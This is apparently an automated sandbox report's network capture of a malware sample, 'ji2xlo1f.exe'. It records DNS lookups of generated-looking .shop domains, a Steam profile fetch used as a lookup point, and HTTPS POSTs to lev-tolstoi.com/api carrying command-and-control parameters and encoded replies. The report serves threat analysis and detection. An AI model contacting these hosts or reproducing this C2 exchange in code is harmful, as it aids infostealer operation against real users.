Dec 18, 2024 15:18:00.006649017 CET	49771	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:00.006659031 CET	443	49771	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:01.958435059 CET	443	49771	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:01.958559990 CET	443	49771	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:01.958707094 CET	49771	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:01.958889961 CET	49771	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:03.252577066 CET	49782	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:03.252607107 CET	443	49782	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:03.252712011 CET	49782	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:03.253081083 CET	49782	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:03.253089905 CET	443	49782	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:04.470695972 CET	443	49782	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:04.470967054 CET	49782	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:04.472646952 CET	49782	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:04.472662926 CET	443	49782	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:04.472918987 CET	443	49782	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:04.474560022 CET	49782	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:04.474560022 CET	49782	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:04.474592924 CET	443	49782	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:05.640451908 CET	443	49782	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:05.640563965 CET	443	49782	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:05.640615940 CET	49782	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:05.645277023 CET	49782	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:05.645292044 CET	443	49782	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:06.638206005 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:06.638262987 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:06.638521910 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:06.638844967 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:06.638859034 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:07.954288960 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:07.954371929 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:07.994103909 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:07.994127989 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:07.994455099 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:07.995863914 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:07.996752977 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:07.996788025 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:07.997041941 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:07.997077942 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:07.997697115 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:07.997746944 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:07.998740911 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:07.998780966 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:07.998969078 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:07.999007940 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:07.999150991 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:07.999180079 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:07.999197006 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:07.999214888 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:07.999360085 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:07.999394894 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:07.999408960 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:07.999533892 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:07.999562025 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:08.047331095 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:08.047530890 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:08.047569036 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:08.047595024 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:08.047620058 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:08.047676086 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:08.047703981 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:08.047715902 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:08.047719955 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:14.513245106 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:14.513339043 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:14.513391972 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:14.513537884 CET	49790	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:14.513550997 CET	443	49790	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:14.555057049 CET	49817	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:14.555105925 CET	443	49817	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:14.555187941 CET	49817	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:14.555572033 CET	49817	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:14.555589914 CET	443	49817	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:15.647918940 CET	49817	443	192.168.2.6	104.21.66.86

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 15:17:35.709139109 CET	63769	53	192.168.2.6	1.1.1.1
Dec 18, 2024 15:17:35.928087950 CET	53	63769	1.1.1.1	192.168.2.6
Dec 18, 2024 15:17:36.052126884 CET	55056	53	192.168.2.6	1.1.1.1
Dec 18, 2024 15:17:36.191143990 CET	53	55056	1.1.1.1	192.168.2.6
Dec 18, 2024 15:17:36.192610979 CET	57083	53	192.168.2.6	1.1.1.1
Dec 18, 2024 15:17:36.413052082 CET	53	57083	1.1.1.1	192.168.2.6
Dec 18, 2024 15:17:36.424196959 CET	57898	53	192.168.2.6	1.1.1.1
Dec 18, 2024 15:17:36.645276070 CET	53	57898	1.1.1.1	192.168.2.6
Dec 18, 2024 15:17:36.738534927 CET	57779	53	192.168.2.6	1.1.1.1
Dec 18, 2024 15:17:36.878353119 CET	53	57779	1.1.1.1	192.168.2.6
Dec 18, 2024 15:17:36.962635994 CET	62264	53	192.168.2.6	1.1.1.1
Dec 18, 2024 15:17:37.100126028 CET	53	62264	1.1.1.1	192.168.2.6
Dec 18, 2024 15:17:37.383090019 CET	55807	53	192.168.2.6	1.1.1.1
Dec 18, 2024 15:17:37.609543085 CET	53	55807	1.1.1.1	192.168.2.6
Dec 18, 2024 15:17:37.613349915 CET	61328	53	192.168.2.6	1.1.1.1
Dec 18, 2024 15:17:37.751405001 CET	53	61328	1.1.1.1	192.168.2.6
Dec 18, 2024 15:17:37.754473925 CET	64818	53	192.168.2.6	1.1.1.1
Dec 18, 2024 15:17:37.984594107 CET	53	64818	1.1.1.1	192.168.2.6
Dec 18, 2024 15:17:37.987747908 CET	53881	53	192.168.2.6	1.1.1.1
Dec 18, 2024 15:17:38.125514030 CET	53	53881	1.1.1.1	192.168.2.6
Dec 18, 2024 15:17:41.666347027 CET	49955	53	192.168.2.6	1.1.1.1
Dec 18, 2024 15:17:41.888818979 CET	53	49955	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 15:17:35.709139109 CET	192.168.2.6	1.1.1.1	0xc3fd	Standard query (0)	terracedjz.cyou	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:36.052126884 CET	192.168.2.6	1.1.1.1	0x5d8	Standard query (0)	worddosofrm.shop	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:36.192610979 CET	192.168.2.6	1.1.1.1	0xb901	Standard query (0)	mutterissuen.shop	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:36.424196959 CET	192.168.2.6	1.1.1.1	0x2b8f	Standard query (0)	standartedby.shop	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:36.738534927 CET	192.168.2.6	1.1.1.1	0x155c	Standard query (0)	nightybinybz.shop	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:36.962635994 CET	192.168.2.6	1.1.1.1	0x4b06	Standard query (0)	conceszustyb.shop	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:37.383090019 CET	192.168.2.6	1.1.1.1	0x33e8	Standard query (0)	bakedstusteeb.shop	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:37.613349915 CET	192.168.2.6	1.1.1.1	0x5e5	Standard query (0)	respectabosiz.shop	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:37.754473925 CET	192.168.2.6	1.1.1.1	0xa7b5	Standard query (0)	moutheventushz.shop	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:37.987747908 CET	192.168.2.6	1.1.1.1	0x2f73	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:41.666347027 CET	192.168.2.6	1.1.1.1	0xb231	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 15:17:30.642666101 CET	1.1.1.1	192.168.2.6	0x5266	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 15:17:30.642666101 CET	1.1.1.1	192.168.2.6	0x5266	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:32.989937067 CET	1.1.1.1	192.168.2.6	0xf2e7	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:32.989937067 CET	1.1.1.1	192.168.2.6	0xf2e7	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:35.928087950 CET	1.1.1.1	192.168.2.6	0xc3fd	Name error (3)	terracedjz.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:36.191143990 CET	1.1.1.1	192.168.2.6	0x5d8	Name error (3)	worddosofrm.shop	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:36.413052082 CET	1.1.1.1	192.168.2.6	0xb901	Name error (3)	mutterissuen.shop	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:36.645276070 CET	1.1.1.1	192.168.2.6	0x2b8f	Name error (3)	standartedby.shop	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:36.878353119 CET	1.1.1.1	192.168.2.6	0x155c	Name error (3)	nightybinybz.shop	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:37.100126028 CET	1.1.1.1	192.168.2.6	0x4b06	Name error (3)	conceszustyb.shop	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:37.609543085 CET	1.1.1.1	192.168.2.6	0x33e8	Name error (3)	bakedstusteeb.shop	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:37.751405001 CET	1.1.1.1	192.168.2.6	0x5e5	Name error (3)	respectabosiz.shop	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:37.984594107 CET	1.1.1.1	192.168.2.6	0xa7b5	Name error (3)	moutheventushz.shop	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:38.125514030 CET	1.1.1.1	192.168.2.6	0x2f73	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:41.888818979 CET	1.1.1.1	192.168.2.6	0xb231	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:17:41.888818979 CET	1.1.1.1	192.168.2.6	0xb231	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49715	23.55.153.106	443	4176	C:\Users\user\Desktop\ji2xlo1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:17:40 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-18 14:17:41 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 18 Dec 2024 14:17:40 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=ab3f6d7c3e458d2fd2dcae42; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-18 14:17:41 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-18 14:17:41 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-18 14:17:41 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49724	104.21.66.86	443	4176	C:\Users\user\Desktop\ji2xlo1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:17:43 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-18 14:17:43 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 14:17:45 UTC	1033	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a5tj6vlj6ap2std8ulnnao732m; expires=Sun, 13-Apr-2025 08:04:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QeCG9SH6xJjjpT9OxArZcQril4G9R9btnnKF7cgmKLebGasXH8UPAs38ubEfoGUtiBqyB90fL2gcO6EmVXFH%2FhLH%2Bb0hGO8dHTYt7b1x97XtBCfkxpRwz2PvYW7oe6aylyU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3fc72e29077ce2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1792&min_rtt=1783&rtt_var=687&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=906&delivery_rate=1573275&cwnd=236&unsent_bytes=0&cid=2c80b653ff152f53&ts=2357&x=0"
2024-12-18 14:17:45 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 14:17:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49739	104.21.66.86	443	4176	C:\Users\user\Desktop\ji2xlo1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:17:46 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 50 Host: lev-tolstoi.com
2024-12-18 14:17:46 UTC	50	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 6e 6f 76 65 6d 62 65 72 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--november&j=
2024-12-18 14:17:47 UTC	1039	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k8v9rs6s5ku9rrocavj1j879m9; expires=Sun, 13-Apr-2025 08:04:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ItKdity3DCxuXjNBHpnc2CECt9%2BYUAKzfqEWHwa662RDpqaIfTPCQCIsSWqC08Kzb%2FfABPoIcihnfihSTKjzi%2BzxF%2BiKtvW%2F6RBs39GAgNuq9v97vcC2dovTiwnlIpS2mSI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3fc7453b827d08-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1826&min_rtt=1821&rtt_var=693&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=949&delivery_rate=1568206&cwnd=177&unsent_bytes=0&cid=092916f7fad4cb70&ts=1200&x=0"
2024-12-18 14:17:47 UTC	330	IN	Data Raw: 31 64 32 61 0d 0a 66 45 66 4e 64 50 4c 37 4d 35 31 7a 76 4e 37 4c 79 4c 44 30 54 76 63 67 49 6f 37 52 53 34 74 7a 62 44 2b 42 31 31 6d 66 54 74 51 48 5a 62 74 57 79 4d 38 66 76 77 44 5a 2f 50 47 38 77 6f 45 72 32 77 4a 44 36 76 4e 78 37 52 49 41 54 4f 54 37 65 2b 6b 6a 39 6b 59 68 72 42 69 42 6e 68 2b 2f 46 73 54 38 38 5a 50 4c 31 69 75 5a 41 68 69 73 74 43 48 70 45 67 42 64 34 4c 77 32 37 79 4b 33 46 43 75 71 48 4a 65 59 56 2f 77 66 30 62 75 75 72 64 47 65 49 4a 35 4e 53 75 50 7a 5a 36 6b 57 46 68 32 37 39 52 54 36 4f 72 55 78 4a 72 34 66 30 49 59 66 35 6c 48 5a 73 4f 6e 79 6b 70 55 72 6c 55 78 45 36 72 6f 6a 34 78 73 49 58 4f 57 39 4b 66 59 6f 76 42 51 6c 71 52 32 64 6b 55 50 78 46 64 61 77 71 4b 66 52 31 6d 4c 56 52 56 69 73 36 32 6d 36 49 77 31 4d 38 Data Ascii: 1d2afEfNdPL7M51zvN7LyLD0TvcgIo7RS4tzbD+B11mfTtQHZbtWyM8fvwDZ/PG8woEr2wJD6vNx7RIATOT7e+kj9kYhrBiBnh+/FsT88ZPL1iuZAhistCHpEgBd4Lw27yK3FCuqHJeYV/wf0buurdGeIJ5NSuPzZ6kWFh279RT6OrUxJr4f0IYf5lHZsOnykpUrlUxE6roj4xsIXOW9KfYovBQlqR2dkUPxFdawqKfR1mLVRVis62m6Iw1M8
2024-12-18 14:17:47 UTC	1369	IN	Data Raw: 37 37 41 39 35 41 42 4f 51 71 32 73 65 2f 6f 67 39 6b 5a 6c 71 52 69 52 6c 46 48 74 47 64 57 33 72 4c 6a 5a 6e 79 47 59 51 6b 33 6d 76 43 72 70 46 67 52 58 37 4c 38 2f 38 43 47 77 48 69 58 76 57 4e 43 65 53 62 39 4a 6e 70 2b 73 75 74 57 61 4f 74 64 34 41 50 50 39 4d 4b 6b 57 41 68 32 37 39 54 50 34 4c 37 55 56 4b 71 77 65 6d 34 74 52 37 52 66 54 75 62 75 73 31 35 67 6d 6c 6c 42 4b 34 72 55 71 34 42 6f 48 57 4f 53 78 65 37 4e 73 73 51 5a 6c 39 31 61 78 6c 46 72 7a 47 38 6d 38 36 62 57 63 6a 32 79 53 54 67 43 30 38 79 33 6f 46 51 39 5a 37 62 73 2f 38 53 71 34 45 79 71 70 48 4a 43 65 57 2f 63 5a 33 37 47 69 70 64 4b 54 49 5a 46 45 54 4f 32 32 61 61 64 52 43 55 57 6a 37 58 76 54 4b 37 55 4d 5a 35 6f 56 6e 70 64 57 36 56 48 42 38 72 44 71 31 5a 70 73 7a 51 4a Data Ascii: 77A95ABOQq2se/og9kZlqRiRlFHtGdW3rLjZnyGYQk3mvCrpFgRX7L8/8CGwHiXvWNCeSb9Jnp+sutWaOtd4APP9MKkWAh279TP4L7UVKqwem4tR7RfTubus15gmllBK4rUq4BoHWOSxe7NssQZl91axlFrzG8m86bWcj2ySTgC08y3oFQ9Z7bs/8Sq4EyqpHJCeW/cZ37GipdKTIZFETO22aadRCUWj7XvTK7UMZ5oVnpdW6VHB8rDq1ZpszQJ
2024-12-18 14:17:47 UTC	1369	IN	Data Raw: 36 6c 66 54 6c 72 37 39 57 4f 39 48 61 45 56 5a 35 6f 56 6e 70 64 57 36 56 48 42 38 72 44 71 31 5a 70 73 7a 51 4a 4e 35 4c 59 73 35 68 41 45 55 2b 61 2f 4e 2f 55 69 74 51 77 71 71 78 61 63 6b 56 76 79 48 39 71 30 6f 4b 48 5a 6b 43 79 55 53 41 43 69 38 79 37 78 55 56 59 64 31 37 49 33 38 43 50 30 4b 79 61 68 47 4a 65 50 45 65 42 66 78 2f 79 75 70 70 4c 4f 62 4a 6c 4c 51 4f 65 35 4c 65 6b 57 41 31 6a 67 73 6a 6a 77 4b 37 77 51 49 71 73 61 6d 5a 52 58 2f 78 62 61 75 62 75 76 32 35 6f 67 31 51 77 41 36 36 74 70 73 56 45 68 57 76 57 32 46 50 34 39 76 31 34 36 34 51 2f 51 6e 6c 32 2f 53 5a 36 37 72 4b 4c 5a 6b 43 53 56 55 45 58 69 75 43 6a 6a 46 77 39 51 37 37 4d 37 2f 43 79 77 45 69 57 6f 45 59 4b 4c 56 50 6b 44 31 50 7a 6e 36 74 57 4f 62 4d 30 43 64 76 79 6b Data Ascii: 6lfTlr79WO9HaEVZ5oVnpdW6VHB8rDq1ZpszQJN5LYs5hAEU+a/N/UitQwqqxackVvyH9q0oKHZkCyUSACi8y7xUVYd17I38CP0KyahGJePEeBfx/yuppLObJlLQOe5LekWA1jgsjjwK7wQIqsamZRX/xbaubuv25og1QwA66tpsVEhWvW2FP49v1464Q/Qnl2/SZ67rKLZkCSVUEXiuCjjFw9Q77M7/CywEiWoEYKLVPkD1Pzn6tWObM0Cdvyk
